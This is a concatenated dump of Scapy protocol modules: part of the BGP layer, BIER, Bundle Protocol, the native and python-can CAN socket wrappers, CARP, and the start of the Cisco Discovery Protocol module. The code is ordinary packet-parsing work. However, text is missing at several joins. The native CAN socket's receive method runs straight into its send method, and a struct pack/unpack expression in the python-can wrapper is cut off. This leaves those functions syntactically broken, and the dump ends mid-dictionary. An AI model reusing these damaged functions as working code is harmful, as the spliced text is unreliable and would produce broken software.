http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-4 # _error_subcodes = { # Reserved 0: {}, # Header (RFC 4271) 1: { 0: "Unspecific", 1: "Connection Not Synchronized", 2: "Bad Message Length", 3: "Bad Message Type" }, # OPEN (RFC 4271, RFC 5492) 2: { 0: "Reserved", 1: "Unsupported Version Number", 2: "Bad Peer AS", 3: "Bad BGP Identifier", 4: "Unsupported Optional Parameter", 5: "Authentication Failure - Deprecated (RFC 4271)", 6: "Unacceptable Hold Time", 7: "Unsupported Capability" }, # UPDATE (RFC 4271) 3: { 0: "Reserved", 1: "Malformed Attribute List", 2: "Unrecognized Well-known Attribute", 3: "Missing Well-known Attribute", 4: "Attribute Flags Error", 5: "Attribute Length Error", 6: "Invalid ORIGIN Attribute", 7: "AS Routing Loop - Deprecated (RFC 4271)", 8: "Invalid NEXT_HOP Attribute", 9: "Optional Attribute Error", 10: "Invalid Network Field", 11: "Malformed AS_PATH" }, # Hold Timer Expired 4: {}, # Finite State Machine Error (RFC 6608) 5: { 0: "Unspecified Error", 1: "Receive Unexpected Message in OpenSent State", 2: "Receive Unexpected Message in OpenConfirm State", 3: "Receive Unexpected Message in Established State" }, # Cease (RFC 4486) 6: { 0: "Unspecified Error", 1: "Maximum Number of Prefixes Reached", 2: "Administrative Shutdown", 3: "Peer De-configured", 4: "Administrative Reset", 5: "Connection Rejected", 6: "Other Configuration Change", 7: "Connection Collision Resolution", 8: "Out of Resources", }, # ROUTE-REFRESH (RFC 7313) 7: { 0: "Reserved", 1: "Invalid Message Length" }, } class BGPNotification(BGP): """ NOTIFICATION messages end a BGP session. References: RFC 4271 """ name = "NOTIFICATION" fields_desc = [ ByteEnumField("error_code", 0, _error_codes), MultiEnumField( "error_subcode", 0, _error_subcodes, depends_on=lambda p: p.error_code, fmt="B" ), StrField(name="data", default=None) ] # # ROUTE_REFRESH # _orf_when_to_refresh = { 0x01: "IMMEDIATE", 0x02: "DEFER" } _orf_actions = { 0: "ADD", 1: "REMOVE", 2: "REMOVE-ALL" } _orf_match = { 0: "PERMIT", 1: "DENY" } _orf_entry_afi = 1 _orf_entry_safi = 1 def _update_orf_afi_safi(afi, safi): """ Helper function that sets the afi / safi values of ORP entries. """ global _orf_entry_afi global _orf_entry_safi _orf_entry_afi = afi _orf_entry_safi = safi class BGPORFEntry(Packet): """ Provides an implementation of an ORF entry. References: RFC 5291 """ __slots__ = ["afi", "safi"] name = "ORF entry" fields_desc = [ BitEnumField("action", 0, 2, _orf_actions), BitEnumField("match", 0, 1, _orf_match), BitField("reserved", 0, 5), StrField("value", "") ] def __init__(self, *args, **kwargs): self.afi = kwargs.pop("afi", 1) self.safi = kwargs.pop("safi", 1) super(BGPORFEntry, self).__init__(*args, **kwargs) class _ORFNLRIPacketField(PacketField): """ PacketField handling the ORF NLRI. """ def m2i(self, pkt, m): ret = None if pkt.afi == 1: # IPv4 ret = BGPNLRI_IPv4(m) elif pkt.afi == 2: # IPv6 ret = BGPNLRI_IPv6(m) else: ret = conf.raw_layer(m) return ret class BGPORFAddressPrefix(BGPORFEntry): """ Provides an implementation of the Address Prefix ORF (RFC 5292). """ name = "Address Prefix ORF" fields_desc = [ BitEnumField("action", 0, 2, _orf_actions), BitEnumField("match", 0, 1, _orf_match), BitField("reserved", 0, 5), IntField("sequence", 0), ByteField("min_len", 0), ByteField("max_len", 0), _ORFNLRIPacketField("prefix", "", Packet), ] class BGPORFCoveringPrefix(BGPORFEntry): """ Provides an implementation of the CP-ORF (RFC 7543). """ name = "CP-ORF" fields_desc = [ BitEnumField("action", 0, 2, _orf_actions), BitEnumField("match", 0, 1, _orf_match), BitField("reserved", 0, 5), IntField("sequence", 0), ByteField("min_len", 0), ByteField("max_len", 0), LongField("rt", 0), LongField("import_rt", 0), ByteField("route_type", 0), PacketField("host_addr", None, Packet) ] class BGPORFEntryPacketListField(PacketListField): """ PacketListField handling the ORF entries. """ def m2i(self, pkt, m): ret = None if isinstance(pkt.underlayer, BGPRouteRefresh): afi = pkt.underlayer.afi safi = pkt.underlayer.safi else: afi = 1 safi = 1 # Cisco also uses 128 if pkt.orf_type == 64 or pkt.orf_type == 128: ret = BGPORFAddressPrefix(m, afi=afi, safi=safi) elif pkt.orf_type == 65: ret = BGPORFCoveringPrefix(m, afi=afi, safi=safi) else: ret = conf.raw_layer(m) return ret def getfield(self, pkt, s): lst = [] length = 0 ret = b"" if self.length_from is not None: length = self.length_from(pkt) remain = s if length <= 0: return s, [] if length is not None: remain, ret = s[:length], s[length:] while remain: orf_len = length # Get value length, depending on the ORF type if pkt.orf_type == 64 or pkt.orf_type == 128: # Address Prefix ORF # Get the length, in bits, of the prefix prefix_len = _bits_to_bytes_len( orb(remain[6]) ) # flags (1 byte) + sequence (4 bytes) + min_len (1 byte) + # max_len (1 byte) + mask_len (1 byte) + prefix_len orf_len = 8 + prefix_len elif pkt.orf_type == 65: # Covering Prefix ORF if pkt.afi == 1: # IPv4 # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte) orf_len = 23 + 4 elif pkt.afi == 2: # IPv6 # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte) orf_len = 23 + 16 elif pkt.afi == 25: # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 # rt (8 bytes) + import_rt (8 bytes) route_type = orb(remain[22]) if route_type == 2: # MAC / IP Advertisement Route orf_len = 23 + 6 else: orf_len = 23 current = remain[:orf_len] remain = remain[orf_len:] packet = self.m2i(pkt, current) lst.append(packet) return remain + ret, lst class BGPORF(Packet): """ Provides an implementation of ORFs carried in the RR message. References: RFC 5291 """ name = "ORF" fields_desc = [ ByteEnumField("when_to_refresh", 0, _orf_when_to_refresh), ByteEnumField("orf_type", 0, _orf_types), FieldLenField("orf_len", None, length_of="entries", fmt="!H"), BGPORFEntryPacketListField( "entries", [], Packet, length_from=lambda p: p.orf_len, max_count=20000, ) ] # RFC 7313 # http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#route-refresh-subcodes rr_message_subtypes = { 0: "Route-Refresh", 1: "BoRR", 2: "EoRR", 255: "Reserved" } class BGPRouteRefresh(BGP): """ Provides an implementation of the ROUTE-REFRESH message. References: RFC 2918, RFC 7313 """ name = "ROUTE-REFRESH" fields_desc = [ ShortEnumField("afi", 1, address_family_identifiers), ByteEnumField("subtype", 0, rr_message_subtypes), ByteEnumField("safi", 1, subsequent_afis), ConditionalField( PacketField('orf_data', "", BGPORF), lambda p: ( (p.underlayer and p.underlayer.len or 24) > 23 ) ) ] # # Layer bindings # bind_layers(TCP, BGP, dport=179) bind_layers(TCP, BGP, sport=179) bind_layers(BGPHeader, BGPOpen, {"type": 1}) bind_layers(BGPHeader, BGPUpdate, {"type": 2}) bind_layers(BGPHeader, BGPNotification, {"type": 3}) bind_layers(BGPHeader, BGPKeepAlive, {"type": 4}) bind_layers(BGPHeader, BGPRouteRefresh, {"type": 5}) # When loading the module, display the current module configuration. log_runtime.warning( "[bgp.py] use_2_bytes_asn: %s", bgp_module_conf.use_2_bytes_asn) ================================================ FILE: scapy/contrib/bier.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Bit Index Explicit Replication (BIER) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, BitField, BitFieldLenField, ByteField, \ ShortField, StrLenField from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 class BIERLength: BIER_LEN_64 = 0 BIER_LEN_128 = 1 BIER_LEN_256 = 2 BIER_LEN_512 = 3 BIER_LEN_1024 = 4 BIERnhcls = {1: "MPLS", 2: "MPLS", 4: "IPv4", 5: "IPv6"} class BIFT(Packet): name = "BIFT" fields_desc = [BitField("bsl", BIERLength.BIER_LEN_256, 4), BitField("sd", 0, 8), BitField("set", 0, 8), BitField("cos", 0, 3), BitField("s", 1, 1), ByteField("ttl", 0)] class BIER(Packet): name = "BIER" fields_desc = [BitField("id", 5, 4), BitField("version", 0, 4), BitFieldLenField("length", BIERLength.BIER_LEN_256, 4, length_of=lambda x:(x.BitString >> 8)), BitField("entropy", 0, 20), BitField("OAM", 0, 2), BitField("RSV", 0, 2), BitField("DSCP", 0, 6), BitEnumField("Proto", 2, 6, BIERnhcls), ShortField("BFRID", 0), StrLenField("BitString", "", length_from=lambda x:(8 << x.length))] bind_layers(BIER, IP, Proto=4) bind_layers(BIER, IPv6, Proto=5) bind_layers(UDP, BIFT, dport=8138) bind_layers(BIFT, BIER) ================================================ FILE: scapy/contrib/bp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2012 The MITRE Corporation """ .. centered:: NOTICE This software/technical data was produced for the U.S. Government under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 and is subject to FAR 52.227-14 (6/87) Rights in Data General, and Article GP-51, Rights in Data General, respectively. This software is publicly released under MITRE case #12-3054 """ # scapy.contrib.description = Bundle Protocol (BP) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ StrLenField from scapy.contrib.sdnv import SDNV2FieldLenField, SDNV2LenField, SDNV2 from scapy.contrib.ltp import LTP, ltp_bind_payload class BP(Packet): name = "BP" fields_desc = [ByteField('version', 0x06), SDNV2('ProcFlags', 0), SDNV2LenField('BlockLen', None), SDNV2('DSO', 0), SDNV2('DSSO', 0), SDNV2('SSO', 0), SDNV2('SSSO', 0), SDNV2('RTSO', 0), SDNV2('RTSSO', 0), SDNV2('CSO', 0), SDNV2('CSSO', 0), SDNV2('CT', 0), SDNV2('CTSN', 0), SDNV2('LT', 0), SDNV2('DL', 0), ConditionalField(SDNV2("FO", 0), lambda x: ( x.ProcFlags & 0x01)), ConditionalField(SDNV2("ADUL", 0), lambda x: ( x.ProcFlags & 0x01)), ] def mysummary(self): tmp = "BP(%version%) flags(" if (self.ProcFlags & 0x01): tmp += ' FR' if (self.ProcFlags & 0x02): tmp += ' AR' if (self.ProcFlags & 0x04): tmp += ' DF' if (self.ProcFlags & 0x08): tmp += ' CT' if (self.ProcFlags & 0x10): tmp += ' S' if (self.ProcFlags & 0x20): tmp += ' ACKME' RAWCOS = (self.ProcFlags & 0x0180) COS = RAWCOS >> 7 cos_tmp = '' if COS == 0x00: cos_tmp += 'B ' if COS == 0x01: cos_tmp += 'N ' if COS == 0x02: cos_tmp += 'E ' if COS & 0xFE000: cos_tmp += 'SRR: (' if COS & 0x02000: cos_tmp += 'Rec ' if COS & 0x04000: cos_tmp += 'CA ' if COS & 0x08000: cos_tmp += 'FWD ' if COS & 0x10000: cos_tmp += 'DLV ' if COS & 0x20000: cos_tmp += 'DEL ' if COS & 0xFE000: cos_tmp += ') ' if cos_tmp: tmp += ' Pr: ' + cos_tmp tmp += " ) len(%BlockLen%) " if self.DL == 0: tmp += "CBHE: d[%DSO%,%DSSO%] s[%SSO%, %SSSO%] r[%RTSO%, %RTSSO%] c[%CSO%, %CSSO%] " # noqa: E501 else: tmp += "dl[%DL%] " tmp += "ct[%CT%] ctsn[%CTSN%] lt[%LT%] " if (self.ProcFlags & 0x01): tmp += "fo[%FO%] " tmp += "tl[%ADUL%]" return self.sprintf(tmp), [LTP] class BPBLOCK(Packet): fields_desc = [ByteEnumField('Type', 1, {1: "Bundle payload block"}), SDNV2('ProcFlags', 0), SDNV2FieldLenField('BlockLen', None, length_of="load"), StrLenField("load", "", length_from=lambda pkt: pkt.BlockLen, max_length=65535) ] def mysummary(self): return self.sprintf("BPBLOCK(%Type%) Flags: %ProcFlags% Len: %BlockLen%") # noqa: E501 ltp_bind_payload(BP, lambda pkt: pkt.DATA_ClientServiceID == 1) bind_layers(BP, BPBLOCK) bind_layers(BPBLOCK, BPBLOCK) ================================================ FILE: scapy/contrib/cansocket.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = CANSocket Utils # scapy.contrib.status = loads """ CANSocket. """ from scapy.error import log_loading from scapy.consts import LINUX from scapy.config import conf PYTHON_CAN = False try: if conf.contribs['CANSocket']['use-python-can']: from can import BusABC as can_BusABC # noqa: F401 PYTHON_CAN = True except ImportError: log_loading.info("Can't import python-can.") except KeyError: log_loading.info("Configuration 'conf.contribs['CANSocket'] not found.") if PYTHON_CAN: log_loading.info("Using python-can CANSockets.\nSpecify 'conf.contribs['CANSocket'] = {'use-python-can': False}' to enable native CANSockets.") # noqa: E501 from scapy.contrib.cansocket_python_can import (PythonCANSocket, CANSocket) # noqa: E501 F401 elif LINUX and not conf.use_pypy: log_loading.info("Using native CANSockets.\nSpecify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can CANSockets.") # noqa: E501 from scapy.contrib.cansocket_native import (NativeCANSocket, CANSocket) # noqa: E501 F401 else: log_loading.info("No CAN support available. Install python-can or use Linux and python3.") # noqa: E501 ================================================ FILE: scapy/contrib/cansocket_native.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Native CANSocket # scapy.contrib.status = loads """ NativeCANSocket. """ import struct import socket import time from scapy.config import conf from scapy.data import SO_TIMESTAMPNS from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception, warning, log_runtime from scapy.packet import Packet from scapy.layers.can import CAN, CAN_MTU, CAN_FD_MTU from scapy.compat import raw from typing import ( List, Dict, Type, Any, Optional, Tuple, cast, ) conf.contribs['NativeCANSocket'] = {'channel': "can0"} class NativeCANSocket(SuperSocket): """Initializes a Linux PF_CAN socket object. Example: >>> socket = NativeCANSocket(channel="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x7FF}]) :param channel: Network interface name :param receive_own_messages: Messages, sent by this socket are will also be received. :param can_filters: A list of can filter dictionaries. :param basecls: Packet type in which received data gets interpreted. :param kwargs: Various keyword arguments for compatibility with PythonCANSockets """ # noqa: E501 desc = "read/write packets at a given CAN interface using PF_CAN sockets" def __init__(self, channel=None, # type: Optional[str] receive_own_messages=False, # type: bool can_filters=None, # type: Optional[List[Dict[str, int]]] fd=False, # type: bool basecls=CAN, # type: Type[Packet] **kwargs # type: Dict[str, Any] ): # type: (...) -> None bustype = cast(Optional[str], kwargs.pop("bustype", None)) if bustype and bustype != "socketcan": warning("You created a NativeCANSocket. " "If you're providing the argument 'bustype', please use " "the correct one to achieve compatibility with python-can" "/PythonCANSocket. \n'bustype=socketcan'") self.MTU = CAN_MTU self.fd = fd self.basecls = basecls self.channel = conf.contribs['NativeCANSocket']['channel'] if \ channel is None else channel self.ins = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) try: self.ins.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_RECV_OWN_MSGS, struct.pack("i", receive_own_messages)) except Exception as exception: raise Scapy_Exception( "Could not modify receive own messages (%s)", exception ) try: # Receive Auxiliary Data (Timestamps) self.ins.setsockopt( socket.SOL_SOCKET, SO_TIMESTAMPNS, 1 ) self.auxdata_available = True except OSError: # Note: Auxiliary Data is only supported since # Linux 2.6.21 msg = "Your Linux Kernel does not support Auxiliary Data!" log_runtime.info(msg) if self.fd: try: self.ins.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_FD_FRAMES, 1) self.MTU = CAN_FD_MTU except Exception as exception: raise Scapy_Exception( "Could not enable CAN FD support (%s)", exception ) if can_filters is None: can_filters = [{ "can_id": 0, "can_mask": 0 }] can_filter_fmt = "={}I".format(2 * len(can_filters)) filter_data = [] for can_filter in can_filters: filter_data.append(can_filter["can_id"]) filter_data.append(can_filter["can_mask"]) self.ins.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_FILTER, struct.pack(can_filter_fmt, *filter_data)) self.ins.bind((self.channel,)) self.outs = self.ins def recv_raw(self, x=CAN_MTU): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Returns a tuple containing (cls, pkt_data, time)""" pkt = None ts = None try: pkt, _, ts = self._recv_raw(self.ins, self.MTU) except BlockingIOError: # noqa: F821 warning("Captured no data, socket in non-blocking mode.") except socket.timeout: warning("Captured no data, socket read timed out.") except OSError: # something bad happened (e.g. the interface went down) warning("Captured no data.") # need to change the byte order of the first four bytes, # required by the underlying Linux SocketCAN frame format if not conf.contribs['CAN']['swap-bytes'] and pkt: pack_fmt = " int if x is None: return 0 try: x.sent_time = time.time() except AttributeError: pass # need to change the byte order of the first four bytes, # required by the underlying Linux SocketCAN frame format bs = raw(x) if not conf.contribs['CAN']['swap-bytes']: pack_fmt = " # scapy.contrib.description = python-can CANSocket # scapy.contrib.status = loads """ Python-CAN CANSocket Wrapper. """ import time import struct import threading from functools import reduce from operator import add from collections import deque from scapy.config import conf from scapy.supersocket import SuperSocket from scapy.layers.can import CAN from scapy.packet import Packet from scapy.error import warning from typing import ( List, Type, Tuple, Dict, Any, Optional, cast, ) from can import Message as can_Message from can import CanError as can_CanError from can import BusABC as can_BusABC from can.interface import Bus as can_Bus __all__ = ["CANSocket", "PythonCANSocket"] class SocketMapper(object): """Internal Helper class to map a python-can bus object to a list of SocketWrapper instances """ def __init__(self, bus, sockets): # type: (can_BusABC, List[SocketWrapper]) -> None """Initializes the SocketMapper helper class :param bus: A python-can Bus object :param sockets: A list of SocketWrapper objects which want to receive messages from the provided python-can Bus object. """ self.bus = bus self.sockets = sockets self.closing = False # Maximum time (seconds) to spend reading frames in one read_bus() # call. On serial interfaces (slcan) the final bus.recv(timeout=0) # when the buffer is empty blocks for the serial port's read timeout # (typically 100ms in python-can's slcan driver). During that block # the TimeoutScheduler thread cannot run any other callbacks. By # capping total read time, we ensure the scheduler stays responsive # even on slow serial interfaces with heavy background traffic. READ_BUS_TIME_LIMIT = 0.020 # 20 ms def read_bus(self): # type: () -> List[can_Message] """Read available frames from the bus, up to READ_BUS_TIME_LIMIT. On slow serial interfaces (slcan), bus.recv(timeout=0) can block for ~100ms when the serial buffer is empty (python-can's slcan serial timeout). This method limits total time spent reading so the TimeoutScheduler thread stays responsive. This method intentionally does NOT hold pool_mutex so that concurrent send() calls are not blocked during the serial I/O. """ if self.closing: return [] msgs = [] deadline = time.monotonic() + self.READ_BUS_TIME_LIMIT while True: try: msg = self.bus.recv(timeout=0) if msg is None: break else: msgs.append(msg) if time.monotonic() >= deadline: break except Exception as e: if not self.closing: warning("[MUX] python-can exception caught: %s" % e) break return msgs def distribute(self, msgs): # type: (List[can_Message]) -> None """Distribute received messages to all subscribed sockets.""" for sock in self.sockets: with sock.lock: for msg in msgs: if sock._matches_filters(msg): sock.rx_queue.append(msg) class _SocketsPool(object): """Helper class to organize all SocketWrapper and SocketMapper objects""" def __init__(self): # type: () -> None self.pool = dict() # type: Dict[str, SocketMapper] self.pool_mutex = threading.Lock() self.last_call = 0.0 def internal_send(self, sender, msg): # type: (SocketWrapper, can_Message) -> None """Internal send function. A given SocketWrapper wants to send a CAN message. The python-can Bus object is obtained from an internal pool of SocketMapper objects. The given message is sent on the python-can Bus object and also inserted into the message queues of all other SocketWrapper objects which are connected to the same python-can bus object by the SocketMapper. :param sender: SocketWrapper which initiated a send of a CAN message :param msg: CAN message to be sent """ if sender.name is None: raise TypeError("SocketWrapper.name should never be None") with self.pool_mutex: try: mapper = self.pool[sender.name] mapper.bus.send(msg) for sock in mapper.sockets: if sock == sender: continue if not sock._matches_filters(msg): continue with sock.lock: sock.rx_queue.append(msg) except KeyError: warning("[SND] Socket %s not found in pool" % sender.name) except can_CanError as e: warning("[SND] python-can exception caught: %s" % e) def multiplex_rx_packets(self): # type: () -> None """This calls the mux() function of all SocketMapper objects in this SocketPool """ if time.monotonic() - self.last_call < 0.001: # Avoid starvation if multiple threads are doing selects, since # this object is singleton and all python-CAN sockets are using # the same instance and locking the same locks. return # Snapshot pool entries under the lock, then read from each bus # WITHOUT holding pool_mutex. On slow serial interfaces (slcan) # bus.recv(timeout=0) can take ~2-3ms per frame; holding the # mutex during those reads would block send() for the entire # duration. with self.pool_mutex: mappers = list(self.pool.values()) for mapper in mappers: msgs = mapper.read_bus() if msgs: mapper.distribute(msgs) self.last_call = time.monotonic() def register(self, socket, *args, **kwargs): # type: (SocketWrapper, Tuple[Any, ...], Dict[str, Any]) -> None """Registers a SocketWrapper object. Every SocketWrapper describes to a python-can bus object. This python-can bus object can only exist once. In case this object already exists in this SocketsPool, organized by a SocketMapper object, the new SocketWrapper is inserted in the list of subscribers of the SocketMapper. Otherwise a new python-can Bus object is created from the provided args and kwargs and inserted, encapsulated in a SocketMapper, into this SocketsPool. :param socket: SocketWrapper object which needs to be registered. :param args: Arguments for the python-can Bus object :param kwargs: Keyword arguments for the python-can Bus object """ if "interface" in kwargs.keys(): k = str(kwargs.get("interface", "unknown_interface")) + "_" + \ str(kwargs.get("channel", "unknown_channel")) else: k = str(kwargs.get("bustype", "unknown_bustype")) + "_" + \ str(kwargs.get("channel", "unknown_channel")) with self.pool_mutex: if k in self.pool: t = self.pool[k] t.sockets.append(socket) # Update bus-level filters to the union of all sockets' # filters. For non-slcan interfaces (socketcan, kvaser, # vector), this enables efficient hardware/kernel # filtering. For slcan, the bus filters were already # cleared on creation, so this is a no-op (all sockets # on slcan share the unfiltered bus). if not k.lower().startswith('slcan'): filters = [s.filters for s in t.sockets if s.filters is not None] if filters: t.bus.set_filters(reduce(add, filters)) socket.name = k else: bus = can_Bus(*args, **kwargs) # Serial interfaces like slcan only do software # filtering inside BusABC.recv(): the recv loop reads # one frame, finds it doesn't match, and returns # None -- silently consuming serial bandwidth without # returning the frame to the mux. This starves the # mux on busy buses. # # For slcan, clear the filters from the bus so that # bus.recv() returns ALL frames. Per-socket filtering # in distribute() via _matches_filters() handles # delivery. Other interfaces (socketcan, kvaser, # vector, candle) perform efficient hardware/kernel # filtering and should keep their bus-level filters. if kwargs.get('can_filters') and \ k.lower().startswith('slcan'): bus.set_filters(None) socket.name = k self.pool[k] = SocketMapper(bus, [socket]) def unregister(self, socket): # type: (SocketWrapper) -> None """Unregisters a SocketWrapper from its subscription to a SocketMapper. If a SocketMapper doesn't have any subscribers, the python-can Bus get shutdown. :param socket: SocketWrapper to be unregistered """ if socket.name is None: raise TypeError("SocketWrapper.name should never be None") with self.pool_mutex: try: t = self.pool[socket.name] t.sockets.remove(socket) if not t.sockets: t.closing = True t.bus.shutdown() del self.pool[socket.name] except KeyError: warning("Socket %s already removed from pool" % socket.name) SocketsPool = _SocketsPool() class SocketWrapper(can_BusABC): """Helper class to wrap a python-can Bus object as socket""" def __init__(self, *args, **kwargs): # type: (Tuple[Any, ...], Dict[str, Any]) -> None """Initializes a new python-can based socket, described by the provided arguments and keyword arguments. This SocketWrapper gets automatically registered in the SocketsPool. :param args: Arguments for the python-can Bus object :param kwargs: Keyword arguments for the python-can Bus object """ super(SocketWrapper, self).__init__(*args, **kwargs) self.lock = threading.Lock() self.rx_queue = deque() # type: deque[can_Message] self.name = None # type: Optional[str] SocketsPool.register(self, *args, **kwargs) def _recv_internal(self, timeout): # type: (int) -> Tuple[Optional[can_Message], bool] """Internal blocking receive method, following the ``can_BusABC`` interface of python-can. This triggers the multiplex function of the general SocketsPool. :param timeout: Time to wait for a packet :return: Returns a tuple of either a can_Message or None and a bool to indicate if filtering was already applied. """ if not self.rx_queue: # Early return without locking if it looks like rx_queue is empty return None, True with self.lock: # It could be that 2 threads are using this same socket, so it's # necessary to check again if the queue was emptied between the # previous check and now if len(self.rx_queue) == 0: return None, True msg = self.rx_queue.popleft() return msg, True def send(self, msg, timeout=None): # type: (can_Message, Optional[int]) -> None """Send function, following the ``can_BusABC`` interface of python-can. :param msg: Message to be sent. :param timeout: Not used. """ SocketsPool.internal_send(self, msg) def shutdown(self): # type: () -> None """Shutdown function, following the ``can_BusABC`` interface of python-can. """ SocketsPool.unregister(self) super().shutdown() class PythonCANSocket(SuperSocket): """Initializes a python-can bus object as Scapy PythonCANSocket. All provided keyword arguments, except *basecls* are forwarded to the python-can can_Bus init function. For further details on python-can check: https://python-can.readthedocs.io/ Example: >>> socket = PythonCANSocket(bustype='socketcan', channel='vcan0', bitrate=250000) """ # noqa: E501 desc = "read/write packets at a given CAN interface " \ "using a python-can bus object" nonblocking_socket = True def __init__(self, **kwargs): # type: (Dict[str, Any]) -> None self.basecls = cast(Optional[Type[Packet]], kwargs.pop("basecls", CAN)) self.can_iface = SocketWrapper(**kwargs) def recv_raw(self, x=0xffff): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Returns a tuple containing (cls, pkt_data, time)""" msg = self.can_iface.recv() hdr = msg.is_extended_id << 31 | msg.is_remote_frame << 30 | \ msg.is_error_frame << 29 | msg.arbitration_id if conf.contribs['CAN']['swap-bytes']: hdr = struct.unpack("I", hdr))[0] dlc = msg.dlc << 24 | msg.is_fd << 18 | \ msg.error_state_indicator << 17 | msg.bitrate_switch << 16 pkt_data = struct.pack("!II", hdr, dlc) + bytes(msg.data) return self.basecls, pkt_data, msg.timestamp def send(self, x): # type: (Packet) -> int bx = bytes(x) msg = can_Message(is_remote_frame=x.flags == 0x2, is_extended_id=x.flags == 0x4, is_error_frame=x.flags == 0x1, arbitration_id=x.identifier, is_fd=bx[5] & 4 > 0, error_state_indicator=bx[5] & 2 > 0, bitrate_switch=bx[5] & 1 > 0, dlc=x.length, data=bx[8:]) msg.timestamp = time.time() try: x.sent_time = msg.timestamp except AttributeError: pass self.can_iface.send(msg) return len(x) @staticmethod def select(sockets, remain=conf.recv_poll_rate): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] """This function is called during sendrecv() routine to select the available sockets. :param sockets: an array of sockets that need to be selected :returns: an array of sockets that were selected and the function to be called next to get the packets (i.g. recv) """ SocketsPool.multiplex_rx_packets() ready_sockets = \ [s for s in sockets if isinstance(s, PythonCANSocket) and len(s.can_iface.rx_queue)] # checking the queue length without locking might sound # dangerous, but for the purpose of this select, if another # thread is reading the same socket, then even proper locking # wouldn't help if not ready_sockets: # yield this thread to avoid starvation time.sleep(0) return cast(List[SuperSocket], ready_sockets) def close(self): # type: () -> None """Closes this socket""" if self.closed: return super(PythonCANSocket, self).close() self.can_iface.shutdown() CANSocket = PythonCANSocket ================================================ FILE: scapy/contrib/carp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Common Address Redundancy Protocol (CARP) # scapy.contrib.status = loads import struct import hmac import hashlib from scapy.packet import Packet, split_layers, bind_layers from scapy.layers.inet import IP from scapy.fields import BitField, ByteField, XShortField, XIntField from scapy.layers.vrrp import IPPROTO_VRRP, VRRP, VRRPv3 from scapy.utils import checksum, inet_aton from scapy.error import warning class CARP(Packet): name = "CARP" fields_desc = [BitField("version", 4, 4), BitField("type", 4, 4), ByteField("vhid", 1), ByteField("advskew", 0), ByteField("authlen", 0), ByteField("demotion", 0), ByteField("advbase", 0), XShortField("chksum", None), XIntField("counter1", 0), XIntField("counter2", 0), XIntField("hmac1", 0), XIntField("hmac2", 0), XIntField("hmac3", 0), XIntField("hmac4", 0), XIntField("hmac5", 0) ] def post_build(self, pkt, pay): if self.chksum is None: pkt = pkt[:6] + struct.pack("!H", checksum(pkt)) + pkt[8:] return pkt def build_hmac_sha1(self, pw=b'\x00' * 20, ip4l=[], ip6l=[]): h = hmac.new(pw, digestmod=hashlib.sha1) # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field # noqa: E501 h.update(b'\x21') # XXX: mac addy if different from special link layer. comes before vhid h.update(struct.pack('!B', self.vhid)) sl = [] for i in ip4l: # sort ips from smallest to largest sl.append(inet_aton(i)) sl.sort() for i in sl: h.update(i) # XXX: do ip6l sorting return h.digest() warning("CARP overwrites VRRP !") # This cancel the bindings done in vrrp.py split_layers(IP, VRRP, proto=IPPROTO_VRRP) split_layers(IP, VRRPv3, proto=IPPROTO_VRRP) # CARP bindings bind_layers(IP, CARP, proto=112, dst='224.0.0.18') ================================================ FILE: scapy/contrib/cdp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2006 Nicolas Bareil # Arnaud Ebalard # EADS/CRC security team # scapy.contrib.description = Cisco Discovery Protocol (CDP) # scapy.contrib.status = loads """ Cisco Discovery Protocol (CDP) extension for Scapy """ import struct from scapy.packet import Packet, bind_layers from scapy.fields import ( ByteEnumField, ByteField, FieldLenField, FieldListField, FlagsField, IntField, IP6Field, IPField, OUIField, PacketListField, ShortField, StrLenField, XByteField, XShortEnumField, XShortField, ) from scapy.layers.inet import checksum from scapy.layers.l2 import SNAP from scapy.compat import orb, chb from scapy.config import conf ##################################################################### # Helpers and constants ##################################################################### # CDP TLV classes keyed by type _cdp_tlv_cls = {0x0001: "CDPMsgDeviceID", 0x0002: "CDPMsgAddr", 0x0003: "CDPMsgPortID", 0x0004: "CDPMsgCapabilities", 0x0005: "CDPMsgSoftwareVersion", 0x0006: "CDPMsgPlatform", 0x0008: "CDPMsgProtoHello", 0x0009: "CDPMsgVTPMgmtDomain", # CDPv2 0x000a: "CDPMsgNativeVLAN", # CDPv2 0x000b: "CDPMsgDuplex", # # 0x000c: "CDPMsgGeneric", # 0x000d: "CDPMsgGeneric", 0x000e: "CDPMsgVoIPVLANReply", 0x000f: "CDPMsgVoIPVLANQuery", 0x0010: "CDPMsgPower", 0x0011: 